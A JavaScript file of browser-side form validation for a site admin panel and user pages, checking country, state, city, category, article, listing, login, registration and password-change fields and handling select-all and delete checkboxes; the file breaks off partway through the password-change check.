// JavaScript Document



// country management country add /////



function addcountry(frm)
{
var country=frm.txtCountry;
var keywords=frm.txtKeywords;
var description=frm.txtDescription;

  String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		 country.value = country.value.trim();
		 keywords.value=keywords.value.trim();
		 description.value=description.value.trim();
  var charpos = country.value.search("[^A-Za-z]"); 

 if(country.value.length > 0 &&  charpos >= 0) 
     { 
      if(!country || country.length ==0) 
         { 
         }//if 
	    alert('Only alphabetical characters allowed'); 
    	return false; 
     }//if 
if(country.value=='')
  {
		alert('Please Enter Country');
		country.focus();
 	 	return false;
   }
if(keywords.value=='')
  {
		alert('Please Enter Keywords');
		keywords.focus();
 	 	return false;
   }
if(description.value=='')
  {
		alert('Please Enter Description');
		description.focus();
 	 	return false;
   }
   return true;
} //end add country function.
// country management country add /////


///  country management  ...  country delete   ../ ////////////
function countrydelete(sval)
{
	frm=sval.form;
   flag = false;
  for(i=0; i<frm.length; i++)
  	{
	   if(frm[i].type == "checkbox" && frm[i].name.substr(0,9)=='chkDelete' && frm[i].checked == true)
	   {
		 flag = true;
		 break;
	   }
  	}
  if(!flag)
    { alert("Please select atleast one country"); }
  else
  {
    return confirm("Delete selected country?");
  }
  return flag;
}// end country delete function.

function SelectAll(slval)
{
	frm = slval.form;
		for(i = 0; i<frm.length; i++)
		{
			if(frm[i].type == 'checkbox')			
			  frm[i].checked = slval.checked;
		}

}// end select all function


function unseltopbotcountry(unsval)
{ 
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
 	  if(frm[i].name=='chkDeleteTop')
 	  {
	 	var sel_top=i;
	  }
	 if(i>sel_top)
	 {
		if(frm[i].name=='chkDeleteBottom')
		{
  		  var sel_bot=i;
		}

	}//end if


	if(frm[i].type == "checkbox" && frm[i].name.substr(0,9)=='chkDelete' && frm[i].checked==false)
	{
    	 flag1=true;
	}//end if
  }//end for

	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;
	}//end if

} //end unselect function

///  country management  ...  country delete   ../ ////////////
///  country management  ...  add state   ../ ////////////
// state validations

function addstate(state_add)
{
	var state = document.state_add.txtState;
	var keywords = document.state_add.txtar_keywords;
	var desc = document.state_add.txtar_metadesc;
	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		 state.value = state.value.trim();
			keywords.value=keywords.value.trim();
			desc.value=desc.value.trim();

if(state_add.ddlCountry.options[state_add.ddlCountry.selectedIndex].text==""||state_add.ddlCountry.options[state_add.ddlCountry.selectedIndex].text=="Select Country")
	  {
		 alert("Please Select Country");
		 state_add.ddlCountry.focus();
		 return false;
	  }	 

			if(state.value=="")
	  {
	     alert("Please Enter State");
		 state_add.txtState.focus();
		 return false;
	  }

			if(document.state_add.txtState.value.length>0&&document.state_add.txtState.value.search("[^A-Za-z ]")>=0)
  {
	     alert("Please Enter only alphabets");
	     document.state_add.txtState.focus();
	     return false;
	  }

			if(keywords.value=="")
			{				
				alert("Please Enter Keywords ");
				state_add.txtar_keywords.focus();
				return false;
			}

  if(desc.value=="")
			{
				alert("Please Enter Description");
				state_add.txtar_metadesc.focus();
				return false;
			}
	  return true;
}

// article category validations

function addarticlecategory(frm)
{
	var articlecat = frm.txtArticleCategory;
	var keywords = frm.txtar_keywords;
	var desc = frm.txtar_metadesc;
	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
 articlecat.value = articlecat.value.trim();
	keywords.value=keywords.value.trim();
	desc.value=desc.value.trim();
	if(articlecat.value== "")
 {
	  alert("Please Enter Article Category");
		 frm.txtArticleCategory.focus();
		 return false;
 }
	/*if(frm.txtArticleCategory.value.length>0&&frm.txtArticleCategory.value.search("[^A-Za-z ]")>=0)
 {
   alert("Please Enter Only Alphabets");
   frm.txtArticleCategory.focus();
   return false;
 }*/
	if(keywords.value=="")
		{				
				alert("Please Enter Keywords");
				frm.txtar_keywords.focus();
				return false;
		}

	if(desc.value=="")
	{
				alert("Please Enter Description");
				frm.txtar_metadesc.focus();
				return false;
	}
			return true;
}
// listings category validations

function addlistcategory(frm)
{
	var listcat = frm.txtListCategory;
	var keywords = frm.txtar_keywords;
	var desc = frm.txtar_metadesc;

   String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		 listcat.value = listcat.value.trim();
			keywords.value=keywords.value.trim();
			desc.value=desc.value.trim();

		if(listcat.value== "")
	  {
	  alert("Please Enter Listings Category");
		 frm.txtListCategory.focus();
		 return false;
	  }

/*if(frm.txtListCategory.value.length>0&&frm.txtListCategory.value.search("[^A-Za-z]")>=0)

	  {

	     alert("Please Enter Only Alphabets");

	     frm.txtListCategory.focus();

	     return false;

	  }*/

			

			if(keywords.value=="")
			{				
				alert("Please Enter Keywords");
				frm.txtar_keywords.focus();
				return false;
			}
	

			if(desc.value=="")
			{
				alert("Please Enter Description");
				frm.txtar_metadesc.focus();
				return false;
			}
			return true;
	}


// article subcat validations

function addsubcat(frm)
{
	var subcat = frm.txtAticleSubcat;
	var keywords = frm.txtar_keywords;
	var desc = frm.txtar_metadesc;

	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		 subcat.value = subcat.value.trim();
			keywords.value=keywords.value.trim();
			desc.value=desc.value.trim();


	  if(frm.ddlArticlecat.options[frm.ddlArticlecat.selectedIndex].text==""||frm.ddlArticlecat.options[frm.ddlArticlecat.selectedIndex].text=="Select Article Category")
	  {
		 alert("Please Select  Article Category");
		 frm.ddlArticlecat.focus();
		 return false;
	  }	 

			if(subcat.value=="")
	  {
	     alert("Please Enter Article Sub Category");
		 frm.txtAticleSubcat.focus();
		 return false;
	  }

/* if(frm.txtAticleSubcat.value.length>0&&frm.txtAticleSubcat.value.search("[^A-Za-z ]")>=0)

	  {

	     alert("Please Enter Only Alphabets");

	     frm.txtAticleSubcat.focus();

	     return false;

	  }*/			

			if(keywords.value=="")
			{				
				alert("Please Enter Keywords ");
				frm.txtar_keywords.focus();
				return false;
			}

			if(desc.value=="")
			{
				alert("Please Enter Description");
				frm.txtar_metadesc.focus();
				return false;
			}
		 return true;
}



// listings subcat validations

function addlistingsubcat(frm)
{
	var subcat = frm.txtSubcategory;
	var keywords = frm.txtar_keywords;
	var desc = frm.txtar_metadesc;

	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
 subcat.value = subcat.value.trim();
	keywords.value=keywords.value.trim();
	desc.value=desc.value.trim();

if(frm.ddlListingscat.options[frm.ddlListingscat.selectedIndex].text==""||frm.ddlListingscat.options[frm.ddlListingscat.selectedIndex].text=="Select Listings Category")
	  {
		 alert("Please Select  Listings Category");
		 frm.ddlListingscat.focus();
		 return false;
	  }	 

if(subcat.value=="")
	  {
	     alert("Please Enter Listings  Sub Category");
		 frm.txtSubcategory.focus();
		 return false;
	  }

/*if(frm.txtSubcategory.value.length>0&&frm.txtSubcategory.value.search("[^A-Za-z ]")>=0)

	  {

	     alert("Please Enter Only Alphabets");

	     frm.txtSubcategory.focus();

	     return false;

	  }*/

		if(keywords.value=="")
			{				
				alert("Please Enter Keywords ");
				frm.txtar_keywords.focus();
				return false;
			}

			if(desc.value=="")
			{
				alert("Please Enter  Description");
				frm.txtar_metadesc.focus();
				return false;
			}
		 return true;
}



// validations ends here
// start state delete
function unseltopbottstate(unsval)
{ 
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
 	  if(frm[i].name=='chkStateTop')
 	  {
 	 	var sel_top=i;
	  }

	 if(i>sel_top)
	 {
		if(frm[i].name=='chkStateBottom')
		{
  		  var sel_bot=i;
		}

	}//end if

	if(frm[i].type == "checkbox" && frm[i].name.substr(0,8)=='chkState' && frm[i].checked==false)

	{
    	 flag1=true;
	}//end if

  }//end for

	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;
	}//end if

} //end unselect function

function statedelete(sval)
{
	frm=sval.form;
 flag = false;
 for(i=0; i<frm.length; i++)
	{
 if(frm[i].type == "checkbox" && frm[i].name.substr(0,8)=='chkState' && frm[i].checked == true)
 {
 flag = true;
 break;
 }
}

 if(!flag)
 { alert("Please select atleast one State"); }
 else
 {
   return confirm("Delete selected State?");
 }
  return flag;
}

// end state delete 
// start article cat delete

function articledelete(sval)
{
	frm=sval.form;
   flag = false;
  for(i=0; i<frm.length; i++)
  	{
	   if(frm[i].type == "checkbox" && frm[i].name.substr(0,10)=='chkArticle' && frm[i].checked == true)
	   {
		 flag = true;
		 break;
    }

  	}

  if(!flag)
    { alert("Please select atleast one Article"); }
  else
  {
    return confirm("Delete selected Article(s)?");
  }
  return flag;
}
function unselarticle(unsval)
{
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
	  if(frm[i].name=='chkAticleTop')
    {
	   	var sel_top=i;
	   }

	 if(i>sel_top)
 {
	 if(frm[i].name=='chkAticleBottom')
		 {
  		  var sel_bot=i;
		 }

	}//end if

if(frm[i].type == "checkbox" && frm[i].name.substr(0,8)=='chkArticle' && frm[i].checked==false)
	{
   	 flag1=true;
	}//end if

  }//end for

	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;
	}//end if

}

// end article delete
// start article subcat delete

function articlesubdelete(sval)
{
	frm=sval.form;
   flag = false;
  for(i=0; i<frm.length; i++)
  	{
	   if(frm[i].type == "checkbox" && frm[i].name.substr(0,16)=='chkArticleSubCat' && frm[i].checked == true)
	   {
		 flag = true;
		 break;
	   }
  	}
  if(!flag)
    { alert("Please select atleast one Article SubCategory"); }
  else
  {
    return confirm("Delete selected Article SubCategories?");
  }
  return flag;
}

function unselarticlesubcat(unsval)
{ 
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
 	  if(frm[i].name=='chkArticlesubcatTop')
 	  {
	 	var sel_top=i;
	  }
	 if(i>sel_top)
	 {
		if(frm[i].name=='chkArticleSubCatBottom')
		{
  		  var sel_bot=i;
		}

	}//end if

	if(frm[i].type == "checkbox" && frm[i].name.substr(0,16)=='chkArticleSubCat' && frm[i].checked==false)
	{
    	 flag1=true;
	}//end if

  }//end for

	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;
	}//end if

} //end unselect function
// end artile subcat delete

// start list subcat delete
function unsellistsubcat(unsval)
{
	flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{
  if(frm[i].name=='chkListsubcatTop')
  {
	 	var sel_top=i;
	  }
	 if(i>sel_top)
	 {
		if(frm[i].name=='chkListSubCatBottom')
		{
	  var sel_bot=i;
		}
	}//end if

	if(frm[i].type == "checkbox" && frm[i].name.substr(0,13)=='chkListSubCat' && frm[i].checked==false)
	{
 	 flag1=true;
	}//end if
 }//end for

	if(flag1==true)
	{
 	  frm[sel_top].checked=false;
 	  frm[sel_bot].checked=false;

	}//end if

}

function listsubcatdelete(sval)
{
	frm=sval.form;
   flag = false;
  for(i=0; i<frm.length; i++)
  	{
	   if(frm[i].type == "checkbox" && frm[i].name.substr(0,13)=='chkListSubCat' && frm[i].checked == true)
	   {
 	 	 flag = true;
	 	  break;
	   }
  	}
  if(!flag)
    { alert("Please select atleast one Listings SubCategory"); }
  else
  {
    return confirm("Delete selected Listings SubCategories?");
  }
  return flag;
}

// end list subcat delete
// article category delete

function validatearclecat(frm)
	{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
		if(frm[i].type == "checkbox" && frm[i].name.substr(0,11) == 'chk_Article' && frm[i].checked == true)
			 {
			   flag = true;
			   break;
		 	}	
	 }
  	if(!flag)
			alert("Please select atleast one Category");
   else
 		{
		   	return confirm("Delete selected Categories?");	
		}		
		return flag;
	}

function unchecked(unsval)
{
   frm = unsval.form;
   for(i=0; i<frm.length; i++)
			{
			if(frm[i].name=='chk_ArticleAlltop')
			{
 				var sel_top=i;
			}
			if(i>sel_top)
 		{
			if(frm[i].name=='chk_ArticleAllbotom')
			{
					var  sel_bot=i;
				}
 	}//end  if
 
	 if(frm[i].type == "checkbox" && frm[i].name.substr(0,11)=='chk_Article' && frm[i].checked==false)
		{ 
					flag1=true;
		}//end  if	

 }//end  for	 	
 if(flag1==true)
	{
  frm[sel_top].checked=false;
  frm[sel_bot].checked=false;  
   }//end  if		    

}  

// end article cat delete
// start list category delete

function validatelistcat(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
		if(frm[i].type == "checkbox" && frm[i].name.substr(0,8) == 'chk_List' && frm[i].checked == true)
	 {
			   flag = true;
			   break;
 	}	
	 }
	if(!flag)
	alert("Please select atleast one Category");
		else
		{
			   	return confirm("Delete selected Categories?");	
		}		
		return flag;
	}

	function uncheckedlist(unsval)
{
   frm = unsval.form;
	  for(i=0; i<frm.length; i++)
			{
				if(frm[i].name=='chk_ListAlltop')
					{
												var sel_top=i;
						}

  		if(i>sel_top)
				{
		 			if(frm[i].name=='chk_ListAllbotom')
			 		{
								var  sel_bot=i;
						}
					}//end  if

   if(frm[i].type == "checkbox" && frm[i].name.substr(0,8)=='chk_List' && frm[i].checked==false)
			{ 
						flag1=true;
			}//end  if	
	}//end  for	 	

 if(flag1==true)
 {
		  frm[sel_top].checked=false;
		  frm[sel_bot].checked=false;  
 }//end  if		    

}  

// end list category delete

///  country management  ...  update country   ../ ////////////

function UpdateCountry(update)
{ 
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
		 document.country_update.txtCountry.value = document.country_update.txtCountry.value.trim();
		 document.country_update.txtKeywords.value = document.country_update.txtKeywords.value.trim();
		 document.country_update.txtDescription.value = document.country_update.txtDescription.value.trim();		 
if(document.country_update.txtCountry.value=='')
   {
	 alert("Please Enter Country");
	 document.country_update.txtCountry.focus();
	 return false;
   }

if(document.country_update.txtKeywords.value=='')

  {
	 alert("Please Enter Keywords");
	 document.country_update.txtKeywords.focus();
	 return false;
   }
if(document.country_update.txtDescription.value=='')
   {
	 alert("Please Enter Description");
	 document.country_update.txtDescription.focus();
	 return false;
   }   
return true	

}

function AddArticles(val)
{
frm=val.form;
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
frm.txtHeading.value=frm.txtHeading.value.trim();
frm.txtContent.value=frm.txtContent.value.trim();
frm.txtKeywords.value=frm.txtKeywords.value.trim();
frm.txtDescription.value=frm.txtDescription.value.trim();
if(frm.txtHeading.value=='')
{ 
 alert("Please Enter Article Heading");
 frm.txtHeading.focus();
	return false;
}
/*
var charpos = frm.txtHeading.value.search("[^A-Za-z]"); 
 if(frm.txtHeading.value.length > 0 &&  charpos >= 0) 
     { 
	    alert('Only alphabetical characters allowed For Article Heading'); 
		frm.txtHeading.value='';
		frm.txtHeading.focus();		
    	return false; 
     }//if 
*/
var inst = tinyMCE.getInstanceById("txtContent");
	if(inst.getContent()=="")
    {
		  alert("Please enter the article content");
		  return false;
	}
/*if(frm.txtContent.value=='')
  { 
  	alert("Please Enter Article Content");
  	frm.txtContent.focus();
  	return false;
  }*/
if(frm.txtKeywords.value=='')
  { 
  	alert("Please Enter Meta Keywords");
  	frm.txtKeywords.focus();
	return false;
  }  
if(frm.txtDescription.value=='')
  { 
  	alert("Please Enter Meta Description");
  	frm.txtDescription.focus();
	return false;
  }    
return true;	
}

///  country management  ...  update country   ../ ////////////

 //if a  blank  space  is  given
function trim(str) 
{ 
	   return str.replace(/^\s+|\s+$/g, ''); 
}
	//function  to  validate the  city name 
function addcity(city_add)
{	  
	  if(city_add.ddlCountry.options[city_add.ddlCountry.selectedIndex].text==""||city_add.ddlCountry.options[city_add.ddlCountry.selectedIndex].text=="Select Country")
	  {
		 alert("Please select  the  country");
		 city_add.ddlCountry.focus();
		 return false;
	  }	  	   
	  if(city_add.ddlState.options[city_add.ddlState.selectedIndex].text==""||city_add.ddlState.options[city_add.ddlState.selectedIndex].text=="Select State")
	  {
		 alert("Please select the state");
		 city_add.ddlState.focus();
		 return false;
	  }	 	    	  
	  if(trim(city_add.txtCity.value)=="")
	  {
   alert("Please enter the city");
		 city_add.txtCity.focus();
		 return false;
	  }                                                                           
	  if(document.city_add.txtCity.value.length>0&&document.city_add.txtCity.value.search("[^A-Za-z 0-9]")>=0)
	  {
	     alert("Please enter only alphabets");
	     document.city_add.txtCity.focus();
	     return false;
	  }
	  if(trim(city_add.txtMetakeyw.value)=="")
	  {
	     alert("Please enter the meta keywords");
  		 city_add.txtMetakeyw.focus();
		 return false;
	  }
	  if(trim(city_add.txtMetades.value)=="")
	  {
	     alert("Please enter the meta description");
    	 city_add.txtMetades.focus();
  		 return false;
	  }

	  return true;

}  

//function  to  check  all  the check boxes 

function selectAll(slval)
{
		frm = slval.form;
		for(i = 0; i<frm.length; i++)
		{
			if(frm[i].type == 'checkbox')			
   frm[i].checked = slval.checked;
		}
}


//function  used  in  delete city  after all  the  check box are  checked and any one  of them  is  unchecked 

function unseltopbott(unsval)
{ 
    flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{	  	 
 	  if(frm[i].name=='selall_top')
 	  {
	 	var selall_top=i;
	  }
	  if(i>selall_top)
	  {
		if(frm[i].name=='selall_bott')
		{
  		   var selall_bott=i;
		}
	  }//end if
	 if(frm[i].type == "checkbox" && frm[i].name.substr(0,10)=='chkCityAll' && frm[i].checked==false)
	 {
    	 flag1=true;
	 }//end if
   }//end for
	if(flag1==true)
	{
 	  frm[selall_top].checked=false;
 	  frm[selall_bott].checked=false;
	}//end if
}


//function  used  in  delete city 
function validatecity(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,10) == 'chkCityAll' && frm[i].checked == true)
 		  {
           flag = true;
	       		 break;
  		  }	

		}

		if(!flag)
			alert("Please select atleast one City");
		else
		{
			   	return confirm("Delete selected City?");	
		}		
		return flag;
}

//function  to  validate the  select  boxes 

function dispcity(disp_city)
{	  
	  if(disp_city.ddlCountry.options[disp_city.ddlCountry.selectedIndex].text==""||disp_city.ddlCountry.options[disp_city.ddlCountry.selectedIndex].text=="Select Country")
	  {
					alert("Please select  the  country");
					disp_city.ddlCountry.focus();
					return false;
	  }	  	   

	  if(disp_city.ddlState.options[disp_city.ddlState.selectedIndex].text==""||disp_city.ddlState.options[disp_city.ddlState.selectedIndex].text=="Select State")
	  {
					alert("Please select the state");
					disp_city.ddlState.focus();
					return false;
	  }	 	    	       
     return true;
}     

//function  used  in  delete articles after all  the  check box are  checked and any one  of them  is  unchecked 

function unseltopbotta(unsval)
{ 
    flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{	  	 
 	  if(frm[i].name=='chkAticleTop')
 	  {
  	 	var selall_top=i;
	  }

	  if(i>selall_top)
	  {
		if(frm[i].name=='chkAticleBottom')
		{
   var selall_bott=i;
		}
}//end if

 if(frm[i].type == "checkbox" && frm[i].name.substr(0,10)=='chkArticle' && frm[i].checked==false)
	 {
  	 flag1=true;
	 }//end if

 }//end for
	if(flag1==true)
	{
 	  frm[selall_top].checked=false;
 	  frm[selall_bott].checked=false;
	}//end if

}

//function  used  in  delete articles 

function validatearticle(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
  if(frm[i].type == "checkbox" && frm[i].name.substr(0,10) == 'chkArticle' && frm[i].checked == true)
  {
    flag = true;
 			 break;
	  }	

		}

		if(!flag)
			alert("Please select atleast one article");
		else
		{
  	return confirm("Delete selected article?");	
		}		
		return flag;
}


//function  to  validate the Set Article Points
function  setartfixpts(artfixpts)
{  
	if(trim(document.artfixpts.txtArtpts.value)=="")
	{
	   alert("Please enter the Points For Article");
	   document.artfixpts.txtArtpts.focus();
	   return false;
	}

	if(isNaN(document.artfixpts.txtArtpts.value))
	{
	   alert("Please enter only numbers");
	   document.artfixpts.txtArtpts.focus();
	   return false;

	}
   return true;     		

}

//function  used  in  delete Listing  after all  the  check box are  checked and any one  of them  is  unchecked 

function unseltopbottl(unsval)
{ 
    flag1=false;
  	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{	  	 
  if(frm[i].name=='selall_top')
  {
	 	var selall_top=i;
  }
 if(i>selall_top)
 {
	if(frm[i].name=='selall_bott')
		{
 		   var selall_bott=i;
		}

	  }//end if

	 if(frm[i].type == "checkbox" && frm[i].name.substr(0,7)=='chkList' && frm[i].checked==false)
	 {
    	 flag1=true;
	 }//end if
   }//end for

	if(flag1==true)
	{
 	  frm[selall_top].checked=false;
 	  frm[selall_bott].checked=false;
	}//end if

}

//function  used  in  delete Listing 

function validatelist(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,7) == 'chkList' && frm[i].checked == true)
 		  {
          flag = true;
      			 break;
 		  }	

		}

		if(!flag)
			alert("Please select atleast one Listing");
		else
		{
			   	return confirm("Delete selected Listing?");	
		}		

		return flag;

}

//function  used  in  delete reviews after all  the  check box are  checked and any one  of them  is  unchecked 

function unseltopbottr(unsval)
{ 
    flag1=false;
	frm = unsval.form;
	for(i=0; i<frm.length; i++)
	{	  	 
  if(frm[i].name=='selall_top')
  {
	 	var selall_top=i;
  }
  if(i>selall_top)
  {
		if(frm[i].name=='selall_bott')
		{
  		   var selall_bott=i;
		}

	  }//end if

	 if(frm[i].type == "checkbox" && frm[i].name.substr(0,7)=='chkUser' && frm[i].checked==false)
	 {
    	 flag1=true;
	 }//end if

   }//end for

	if(flag1==true)
	{
 	  frm[selall_top].checked=false;
 	  frm[selall_bott].checked=false;

	}//end if

}

//function  used  in  delete reviews 
function validateview(frm)
{
		flag = false;
		for(i=0; i<frm.length; i++)
		{
 		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,7) == 'chkUser' && frm[i].checked == true)
 		  {
            flag = true;
        			 break;
  		  }	

		}

		if(!flag)
			alert("Please select atleast one Review");
		else
		{
			   	return confirm("Delete selected Review?");	
		}		
		return flag;

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//   add article user side
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function ArticlesAdd(val)
{
frm=val.form;
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
article_add.txtHeading.value=article_add.txtHeading.value.trim();
article_add.txtContent.value=article_add.txtContent.value.trim();
article_add.txtKeywords.value=article_add.txtKeywords.value.trim();
article_add.txtDescription.value=article_add.txtDescription.value.trim();

if(article_add.ddlArticlecat.value=='')
  { 
  	alert("Please Select Article Category");
  	article_add.ddlArticlecat.focus();
	return false;
  }
/*
if(article_add.ddlArticlesubcat.value=='0')
  { 
  	alert("Please Select Article Subcategory");
  	article_add.ddlArticlesubcat.focus();
	return false;
  }
*/
if(article_add.txtHeading.value=='')
  { 
  	alert("Please Enter Article Heading");
  	article_add.txtHeading.focus();
	return false;
  }
/*var charpos = article_add.txtHeading.value.search("[^A-Za-z]"); 
 if(article_add.txtHeading.value.length > 0 &&  charpos >= 0) 
     { 
	    alert('Only alphabetical characters allowed For Article Heading'); 
		article_add.txtHeading.value='';
		article_add.txtHeading.focus();		
    	return false; 
     }//if 
*/
var inst = tinyMCE.getInstanceById("txtContent");
	if(inst.getContent()=="")
    {
		  alert("Please enter the article content");
		  return false;
	}

if(article_add.txtKeywords.value=='')
  { 
  	alert("Please Enter Meta Keywords");
  	article_add.txtKeywords.focus();
	return false;
  }  
if(article_add.txtDescription.value=='')
  { 
  	alert("Please Enter Meta Description");
  	article_add.txtDescription.focus();
	return false;
  }    
return true;	
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



function AddListings(val)
{
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
listings_add.ddlCity.value=listings_add.ddlCity.value.trim();
listings_add.ddlCategory.value=listings_add.ddlCategory.value.trim();
listings_add.ddlSubCategory.value=listings_add.ddlSubCategory.value.trim();
listings_add.txtHeading.value=listings_add.txtHeading.value.trim();
listings_add.txtContent.value=listings_add.txtContent.value.trim();
//listings_add.txtPhotos.value=listings_add.txtPhotos.value.trim();
listings_add.txtKeywords.value=listings_add.txtKeywords.value.trim();
listings_add.txtDescription.value=listings_add.txtDescription.value.trim();

if(listings_add.ddlCity.value=='0')
  { 
  	alert("Please Select City");
  	listings_add.ddlCity.focus();
	return false;
  }
if(listings_add.ddlCategory.value=='0')
  { 
  	alert("Please Select Category");
  	listings_add.ddlCategory.focus();
	return false;
  }
/*if(listings_add.ddlSubCategory.value=='0')
  { 
  	alert("Please Select Sub-Category");
  	listings_add.ddlSubCategory.focus();
	return false;
  }*/ 
if(listings_add.txtHeading.value=='')
  { 
  	alert("Please Enter List Heading");
  	listings_add.txtHeading.focus();
	return false;
  } 
if(listings_add.txtContent.value=='')
  { 
  	alert("Please Enter List Content");
  	listings_add.txtContent.focus();
	return false;
  } 
/*if(listings_add.txtPhotos.value=='')
  { 
  	alert("Please Select Photo");
  	listings_add.txtPhotos.focus();
	return false;
  } */
  if(listings_add.txtKeywords.value=='')
  { 
  	alert("Please Enter Meta Keywords");
  	listings_add.txtKeywords.focus();
	return false;
  } 
  if(listings_add.txtDescription.value=='')
  { 
  	alert("Please Enter Meta Description");
  	listings_add.txtDescription.focus();
	return false;
  } 
return true;
}
function login(val)
{
	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
	loginfrm.txtUserId.value=loginfrm.txtUserId.value.trim();
	loginfrm.txtPassword.value=loginfrm.txtPassword.value.trim();	
	
	if(loginfrm.txtUserId.value=='')
	{
	alert('Please Enter UserName');
	loginfrm.txtUserId.focus();
	return false;
	}
	if(loginfrm.txtPassword.value=='')
	{
	alert('Please Enter Password');
	loginfrm.txtPassword.focus();
	return false;
	}
	return true;
}
function ForogotPwd(val)
{
	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
	
	 var  emailRegEx = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;				
		forgotpwd.txtEmail.value=forgotpwd.txtEmail.value.trim();
		
	if(forgotpwd.txtEmail.value=='')
	  {
	   alert("Please Enter email-id");
	   forgotpwd.txtEmail.value='';
	   forgotpwd.txtEmail.focus();
	   return false;
	  }	
		
 	  if(forgotpwd.txtEmail.value.match(emailRegEx)==null)
	  {
	   alert("Please Enter a  valid  email-id");
   	   forgotpwd.txtEmail.value='';
	   forgotpwd.txtEmail.focus();
	   return false;
	  }
return true;
}

function registration(val)
{
	String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
	 var  emailRegEx = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;				
	 regform.txtUserName.value=regform.txtUserName.value.trim();
	 regform.txtEmail.value=regform.txtEmail.value.trim();	 
 	 regform.txtPassword.value=regform.txtPassword.value.trim();	 
 	 regform.txtRetypepwd.value=regform.txtRetypepwd.value.trim();	 	 
 	 regform.txtCaptcha.value=regform.txtCaptcha.value.trim();
	 regform.txtFirstName.value=regform.txtFirstName.value.trim();
	 regform.txtLastName.value=regform.txtLastName.value.trim();
	  
	 if(regform.txtFirstName.value=='')
	 {
	   alert("Please enter the FirstName");
	   regform.txtFirstName.focus();
	   return false;	 
	 }
	if(regform.txtFirstName.value.search("[^A-Za-z ]")>=0)
	{
	   alert("Please enter only alphabets");
	   regform.txtFirstName.focus();
	   return false;	 
	}
	if(regform.txtLastName.value=='')
	{
	   alert("Please enter the LastName");
	   regform.txtLastName.focus();
	   return false;	 
	 }
	if(regform.txtLastName.value.search("[^A-Za-z ]")>=0)
	{
	   alert("Please enter only alphabets");
	   regform.txtLastName.focus();
	   return false;	 
	}
	 if(regform.txtEmail.value=='')
	  {
	   alert("Please Enter email-id");
	   regform.txtEmail.focus();
	   regform.txtEmail.value='';
	   return false;
	  }	
 	  if(regform.txtEmail.value.match(emailRegEx)==null)
	  {
	   alert("Please Enter a  valid  email-id");
	   regform.txtEmail.focus();
	   regform.txtEmail.value='';	   
	   return false;
	  }

	 if(regform.txtUserName.value=='')
	  {
	   alert("Please Enter User Name");
	   regform.txtUserName.focus();
	   regform.txtUserName.value='';
	   return false;
	  }
	 if(regform.txtPassword.value=='')
	  {
	   alert("Please Enter Password");
	   regform.txtPassword.focus();
	   regform.txtPassword.value='';
	   return false;
	  }
  if(regform.txtRetypepwd.value=='')
	  {
	   alert("Please Enter Confirm Password");
	   regform.txtRetypepwd.focus();
	   regform.txtRetypepwd.value='';
	   return false;
	  }
if(regform.txtPassword.value!=regform.txtRetypepwd.value)
	  {
	   alert("Password Mismatch");
	   regform.txtRetypepwd.focus();
	   regform.txtRetypepwd.value='';
	   return false;
	  }
 if(regform.txtCaptcha.value=='')
	  {
	   alert("Please Enter Confirmation Code");
	   regform.txtCaptcha.focus();
	   regform.txtCaptcha.value='';
	   return false;
	  } 
return true;	
}


function ChangePwd(val)
{
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };
	 changepwd.txtOldpwd.value=changepwd.txtOldpwd.value.trim();
	 changepwd.txtNewpwd.value=changepwd.txtNewpwd.value.trim();
	 changepwd.txtRetypepwd.value=changepwd.txtRetypepwd.value.trim();

 if(changepwd.txtOldpwd.value=='')
	  {
	   alert("Please Enter Old Password");
	   changepwd.txtOldpwd.focus();
	   changepwd.txtOldpwd.value='';
	   return false;
	  }
  if(changepwd.txtNewpwd.value=='')
	  {
	   alert("Please Enter New Password");
	   changepwd.txtNewpwd.focus();
	   changepwd.txtNewpwd.value='';
	   return false;
	  }
  if(changepwd.txtRetypepwd.value=='')
	  {
	   alert("Please Enter Confirm Password");
	   changepwd.txtRetypepwd.focus();
	   changepwd.txtRetypepwd.value='';
	   return false;
	  }
  if(changepwd.txtNewpwd.value!=changepwd.txtRetypepwd.value)
	  {
